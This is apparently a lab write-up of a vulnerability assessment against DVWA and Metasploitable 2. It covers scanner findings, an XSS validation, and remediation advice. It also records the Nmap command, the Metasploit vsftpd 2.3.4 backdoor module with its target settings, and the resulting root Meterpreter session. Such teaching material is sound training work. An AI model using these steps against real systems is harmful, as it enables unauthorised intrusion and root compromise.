## https://sploitus.com/exploit?id=7A4C1693-6850-5FA3-8BA5-EC3B7027B822
# Vulnerability_Assessment_and_Exploitation
This assessment was conducted using Kali Linux, DVWA, and Metasploitable 2. The objectives were to identify vulnerabilities using security-scanning tools, validate selected findings, demonstrate controlled exploitation, and recommend appropriate remediation measures.
## Laboratory Environment
- Attacker: Kali Linux
- Web application: DVWA
- Vulnerable server: Metasploitable 2
- Vulnerability scanners: OWASP ZAP, Nmap
- Vulnerability scanners attempted: OpenVAS and Nessus
- Exploitation framework: Metasploit
## OpenVAS Attempt
OpenVAS was initially attempted for vulnerability scanning. The tool was configured and used as part of the assessment process; however, due to network problems the scan feeds couldn't update properly.
## Nessus Attempt
Nessus was also attempted as an alternative vulnerability scanner. This tool was later passed over due to the inability to get a license key.
## OWASP ZAP Web Application Assessment
OWASP ZAP was used to assess Metasploitable 2 as a whole as ZAP couldn't connect to the application on its own.
The scan produced 23 findings, categorized as:
- 1 High
- 6 Medium
- 9 Low
- 7 Informational
One of the most relevant findings was:
User Controllable HTML Elements Attributes (Potential XSS) Figure 3.
This finding was manually validated in DVWA using controlled input. The application interpreted the supplied content as active web content, confirming the presence of an XSS-related vulnerability. Figure 4.
XSS Remediation
Recommended controls include:
Context-appropriate output encoding.
Input validation where appropriate.
Avoiding unsafe insertion of user-controlled data into HTML.
Implementing an appropriate Content Security Policy (CSP).
Using secure development practices for handling untrusted input.
Nmap Scan and Metasploit Exploitation
The Metasploitable 2 host was subsequently scanned with Nmap:
nmap -sV (Metasploitable 2 IP)
The scan identified:
21/tcp open ftp vsftpd 2.3.4 Figure 5
This service has a known backdoor vulnerability associated with CVE-2011-2523.
Metasploit was used with:
exploit/unix/ftp/vsftpd_234_backdoor
The target was configured as:
RHOSTS = (Metasploitable 2 IP)
RPORT = 21 Figure 6
After configuring the Kali host as the listener, the exploit was executed successfully.
Metasploit reported:
The target appears to be vulnerable.
Backdoor has been spawned!
Meterpreter session 1 opened
The resulting session was then verified:
meterpreter > getuid
Server username: root
System information confirmed:
Computer : metasploitable.localdomain
OS : Ubuntu 8.04
Architecture : i686
This confirmed successful privileged access to the intentionally vulnerable Metasploitable 2 system. Figure 7
Remediation for the Metasploit Finding
Vulnerability: VSFTPD 2.3.4 Backdoor Command Execution (CVE-2011-2523)
Upgrade or replace vsFTPd 2.3.4: Remove the compromised version and install a current, trusted version from an official repository.
Verify software integrity: Obtain packages only from trusted sources and verify package signatures/checksums where available.
Disable FTP if it is unnecessary: If FTP is not required, stop the service and prevent it from starting automatically. Unnecessary network services increase the attack surface.
Use secure file-transfer protocols: Where file transfer is required, prefer SFTP over SSH rather than unencrypted FTP.
Restrict network access to FTP: Use a firewall to allow FTP access only from authorized hosts or networks.
Apply least privilege: The FTP service should run with the minimum privileges necessary. Administrative/root access should never be exposed through an FTP service.
Monitor and investigate compromise indicators: Review authentication, FTP, and system logs for suspicious connections or unexpected processes. If a vulnerable system has already been exposed, investigate it for possible compromise rather than simply upgrading the package.
Conclusion
The assessment demonstrated the use of security tools for vulnerability discovery and validation. OWASP ZAP successfully identified vulnerabilities in DVWA, including a potential XSS vulnerability that was manually validated. Nmap subsequently identified the deliberately vulnerable vsftpd 2.3.4 service on Metasploitable 2, which was successfully exploited using Metasploit. A Meterpreter session was obtained and verified to have root privileges.